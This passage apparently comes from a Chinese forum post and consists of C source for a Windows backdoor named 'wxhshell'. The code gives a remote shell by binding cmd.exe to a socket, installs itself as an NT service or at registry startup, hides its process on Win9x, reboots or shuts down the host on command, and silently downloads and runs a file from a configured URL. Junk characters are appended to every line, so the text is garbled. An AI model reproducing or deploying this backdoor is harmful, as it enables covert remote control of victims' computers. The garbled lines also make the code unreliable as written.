  } > Y <in/  
  else { kTG4h@w  
6X(Yv2X&4%  
    switch(cmd[0]) { 1JIL6w_  
  +0U{CmH  
  // 帮助  zk8 o[4  
  case '?': { ZV}"k_+-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^6!C":f  
    break; aC0[OmbG  
  } s`* 'JM<  
  // 安装 k9j_#\E[  
  case 'i': { `}:q@: %  
    if(Install()) JzD Mx?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W:q79u yX  
    else 5t]}(.0+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +TW9BU'a^  
    break; qbjBN z  
    } Ov1$7 r@  
  // 卸载 /0Q=}:d  
  case 'r': { y,&UST  
    if(Uninstall()) 9] /xAsD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^klP:Q  
    else rj[2XIO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0z) 8i P  
    break; O)nLV~X  
    } Js7(TFQE  
  // 显示 wxhshell 所在路径 " , c1z\  
  case 'p': { ;K<e]RI;?  
    char svExeFile[MAX_PATH]; 5Hvg%g-c  
    strcpy(svExeFile,"\n\r"); :TU;%@7  
      strcat(svExeFile,ExeFile); %M{qr!?uj  
        send(wsh,svExeFile,strlen(svExeFile),0); z-|gw.y  
    break; pKDP1S# <  
    } s(56aE  
  // 重启 ( zQ)EHRD  
  case 'b': { cU8Rm\?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }X{#=*$GQ  
    if(Boot(REBOOT)) HRkO.230  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^)ouL25Z*2  
    else { E"!I[  
    closesocket(wsh); yM$@*od  
    ExitThread(0); &7* |rshZ  
    } CJB   
    break; V4cCu~(3;~  
    } S,Q!Xb@  
  // 关机 K#bdb  
  case 'd': { T^LpoN/T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )1Rn;(j9Re  
    if(Boot(SHUTDOWN)) QC7Ceeh]4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xU$A/!oK  
    else { p2T%Zl_  
    closesocket(wsh); % 1Y!|306  
    ExitThread(0); ( ON n{12Q  
    } P3|_R HIb  
    break; 4\'1j|nS[  
    } pG?AwB~@n  
  // 获取shell UhuEE  
  case 's': { b%`^KEvwfo  
    CmdShell(wsh); UM$\{$  
    closesocket(wsh); pvL)BD  
    ExitThread(0); )N[9r{3  
    break; A/n-.ci  
  } i^j1 i  
  // 退出 0$)CWah  
  case 'x': { +We_[Re`<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0TA{E-A   
    CloseIt(wsh); D BDHe-1[+  
    break; &YQ  
    } ^Rr0)4ns  
  // 离开 Pw`26mB   
  case 'q': { O@;;GJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =zw=J p  
    closesocket(wsh); S a5+_TW  
    WSACleanup(); -dXlGOD+C  
    exit(1); 5\RTy}w3x  
    break; 6 &~8TH  
        } 9kmEg$WM  
  } 0zrgK;9  
  } FEqs4<}E  
*a_U2}N  
  // 提示信息 z%xWP&3%"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~WH4D+  
} 8:9m< ^4S(  
  } 2xBIfmR^y  
GT$.#};u  
  return; D^cv 8 8<  
} (S1c6~  
X}T/6zk  
// shell模块句柄 o+UCu`7e  
int CmdShell(SOCKET sock) /Y=Cg%+  
{ ~>C@n'\lv  
STARTUPINFO si; DONXq]f:,"  
ZeroMemory(&si,sizeof(si)); Jg3OM Ut  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8<BYAHY^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }^|g|xl!  
PROCESS_INFORMATION ProcessInfo; a=(D`lQ8  
char cmdline[]="cmd"; &PY~m<F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W+HiH`Qb]  
  return 0; K%NNw7\A  
} |wF_CZ*1  
sVdn>$KXk  
// 自身启动模式 U^qQ((ek  
int StartFromService(void) b1rW0}A  
{ R8[l\Y>Ec  
typedef struct >Z0F n  
{ L{;Sc_  
  DWORD ExitStatus; G]Rb{v,r  
  DWORD PebBaseAddress; JQ5E;8J>  
  DWORD AffinityMask; M  ::  
  DWORD BasePriority; 6"3-8orj   
  ULONG UniqueProcessId; rGa@!^hk  
  ULONG InheritedFromUniqueProcessId; g]kM7,/M  
}   PROCESS_BASIC_INFORMATION; s &4k  
Ynn:,  
PROCNTQSIP NtQueryInformationProcess; b2L9%8h  
Vq8G( <77  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c@SNbY4}%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n6AN  
!H)$_d \uj  
  HANDLE             hProcess; ]~a;tF>Fw  
  PROCESS_BASIC_INFORMATION pbi; 2@TgeV0Y[  
y!z2+q2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %}.4c8  
  if(NULL == hInst ) return 0; (Dat`:  
'=s{9lxn^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^)J2tpr;]=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d_v]mfUF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ko-3`hX`  
/,C;fT<R  
  if (!NtQueryInformationProcess) return 0; {oXU)9vj  
3(2WO^zX {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I |PEC-(  
  if(!hProcess) return 0; vR"?XqgZ  
<x!q! ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (-}:'5|Yj  
GG0H3MSc  
  CloseHandle(hProcess); 'iY~F0U  
Zr(4Q9fDo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (M0"I1g|w  
if(hProcess==NULL) return 0; jF$bCbAUce  
z6IOVQ*r  
HMODULE hMod; [Sr^CY P(  
char procName[255]; <QuIXA  
unsigned long cbNeeded; V8w7U:K  
8+f{ /  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rt rPRR\:"  
} Z/[ "  
  CloseHandle(hProcess); uOQ!av2"Rf  
RGu`Jk  
if(strstr(procName,"services")) return 1; // 以服务启动 ]!c59%f=  
r5RUgt  
  return 0; // 注册表启动 J# >)+  
} a/\SPXQ/9  
]iU8n (5f  
// 主模块 )])nd "E  
int StartWxhshell(LPSTR lpCmdLine) jo-2D[Q{  
{ V),wDyi  
  SOCKET wsl; ~mF^t7n]  
BOOL val=TRUE; `e`}dgf0S|  
  int port=0; D%`O.2T Y|  
  struct sockaddr_in door; !1b}M/Wx  
[X9T$7q#  
  if(wscfg.ws_autoins) Install(); DX2_} |$!  
SD/=e3  
port=atoi(lpCmdLine); cp:U@Nh(  
40e(p/Qka  
if(port<=0) port=wscfg.ws_port; bmOK 8  
\DiAfx<Ub  
  WSADATA data; }s7@0#j@a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OXxgnn>W'  
f7lt|.p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =:M/hM)#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QGCg~TV;  
  door.sin_family = AF_INET; o&t*[#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v~*Co}0OB  
  door.sin_port = htons(port); ~xa yGk  
70GwTK.{~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `K7UWtp  
closesocket(wsl); }WA =  
return 1; w4Uo-zr@  
} h]Y,gya[yk  
|C"zK  
  if(listen(wsl,2) == INVALID_SOCKET) { \y(ZeNs  
closesocket(wsl); :hBLi99 o  
return 1; %A3ci[$g  
} 2/iBk'd  
  Wxhshell(wsl); B:>>D/O  
  WSACleanup(); ?NVX# t'  
qEvbKy}  
return 0; u?F^gIw  
O:]e4r,'  
} w t6&N{@  
0{OafL8&l  
// 以NT服务方式启动 %p(X*mVX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oO3X>y{gN  
{ .iV-Y*3<  
DWORD   status = 0; ]@I>OcH  
  DWORD   specificError = 0xfffffff; s$JO3-)  
HdR TdV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >1qum'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8DuD1hZq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HEk{!Y  
  serviceStatus.dwWin32ExitCode     = 0; dHkI9;  
  serviceStatus.dwServiceSpecificExitCode = 0; .MS41 E!  
  serviceStatus.dwCheckPoint       = 0; =o )B1(v@.  
  serviceStatus.dwWaitHint       = 0; Gc=uKQ+\V  
o?g9Grk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y&W3CW\:  
  if (hServiceStatusHandle==0) return; xV0:K=  
kz"QS.${  
status = GetLastError(); h+!@`c>)Y  
  if (status!=NO_ERROR)  /M@[ 8  
{ FfX*bqy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NI:3hfs  
    serviceStatus.dwCheckPoint       = 0; YO9ofT  
    serviceStatus.dwWaitHint       = 0; OJ1MV7&  
    serviceStatus.dwWin32ExitCode     = status; 9'=ZxV  
    serviceStatus.dwServiceSpecificExitCode = specificError; K]'t>:G @  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m@y<wk(  
    return; ":_~(?1+  
  } !{?<(6;t  
+,_%9v?3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  K,o&gY  
  serviceStatus.dwCheckPoint       = 0; KTE X]  
  serviceStatus.dwWaitHint       = 0; V6bjVd9|Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #= T^XHjQ  
} #0f6X,3  
c 'rn8Jo}  
// 处理NT服务事件,比如:启动、停止 U;=1v:~d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <2e[;$  
{ eUKl(  
switch(fdwControl) 'si{6t|  
{ ,B:r^(}0j  
case SERVICE_CONTROL_STOP: 2BO&OX|X  
  serviceStatus.dwWin32ExitCode = 0; eGLB,29g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fCbd]X  
  serviceStatus.dwCheckPoint   = 0; -Rwx`=6tV  
  serviceStatus.dwWaitHint     = 0; Ae;mU[MK/  
  { vO)]~AiB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L%<DLe^P`l  
  } q $=[v  
  return; j6E|j>@u  
case SERVICE_CONTROL_PAUSE: ^x2@KMKXZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ki>XLX,er=  
  break; o;u~Yg  
case SERVICE_CONTROL_CONTINUE: **.g^Pyc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AHU =`z  
  break; .JBTU>1]_n  
case SERVICE_CONTROL_INTERROGATE: *LEI@  
  break; }"&Ye  
}; 6!C>J#T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M0t9`Z9  
} K@vU_x0Sl  
9 /=+2SZ  
// 标准应用程序主函数 -' =?Hs.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _`. Q7  
{ !tSh9L;<O  
d+nxvh?I8  
// 获取操作系统版本 tHEZuoi  
OsIsNt=GetOsVer(); I 9<%fv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @V Sr'?7-  
:_h#A }8Xd  
  // 从命令行安装 AYAbq}'Yt  
  if(strpbrk(lpCmdLine,"iI")) Install(); CY\D.Eow  
D,()e^o  
  // 下载执行文件 rY M@e  
if(wscfg.ws_downexe) { dwouw*8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VHG}'r9KC%  
  WinExec(wscfg.ws_filenam,SW_HIDE); A@eR~Kp ^  
} 30O7u3Zrb  
*6G@8TIh  
if(!OsIsNt) { "|BSGV!8  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hb[P|pPT  
HideProc(); P5W58WxT'  
StartWxhshell(lpCmdLine); -56gg^Pnr  
} aK8s0G!z?5  
else ;u=%Vn"2a  
  if(StartFromService()) BDCyeC,Q3  
  // 以服务方式启动 p*U!94Pb  
  StartServiceCtrlDispatcher(DispatchTable); @}s EP&$  
else dsg-;*%  
  // 普通方式启动 WtC&Qyuq  
  StartWxhshell(lpCmdLine); ]_`ICS  
tNQACM8F;  
return 0; RN$>!b/  
}
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只看该作者 1 发表于: 2006-10-10
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